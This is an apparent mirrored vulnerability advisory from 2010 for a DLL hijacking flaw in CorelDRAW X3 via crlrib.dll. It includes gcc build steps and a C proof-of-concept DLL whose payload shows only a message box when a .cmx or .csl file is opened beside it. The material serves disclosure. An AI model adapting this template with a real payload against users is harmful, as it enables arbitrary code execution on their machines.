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CorelDRAW X3 v13.0.0.576 (crlrib.dll) DLL Hijacking Exploit
<html><body><p>/*
CorelDRAW X3 v13.0.0.576 (crlrib.dll) DLL Hijacking Exploit
Vendor: Corel Corporation
Product Web Page: http://www.corel.com
Affected Version: X3 v13.0.0.576
Summary: Graphic design software for striking visual communication.
Desc: CorelDRAW X3 suffers from a dll hijacking vulnerability
that enables the attacker to execute arbitrary code on a local level. The
vulnerable extensions are .cmx and .csl thru crlrib.dll library.
----
gcc -shared -o crlrib.dll coreldrw.c
Compile and rename to crlrib.dll, create a file test.cmx or test.csl and
put both files in same dir and execute.
----
Tested on Microsoft Windows XP Professional SP3 (EN)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
Zero Science Lab - http://www.zeroscience.mk
25.08.2010
*/
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
dll_mll();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
int dll_mll()
{
MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}</windows.h></p></body></html>Data
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26 Aug 2010 00:00Current
6.2Medium risk
Vulners AI Score6.2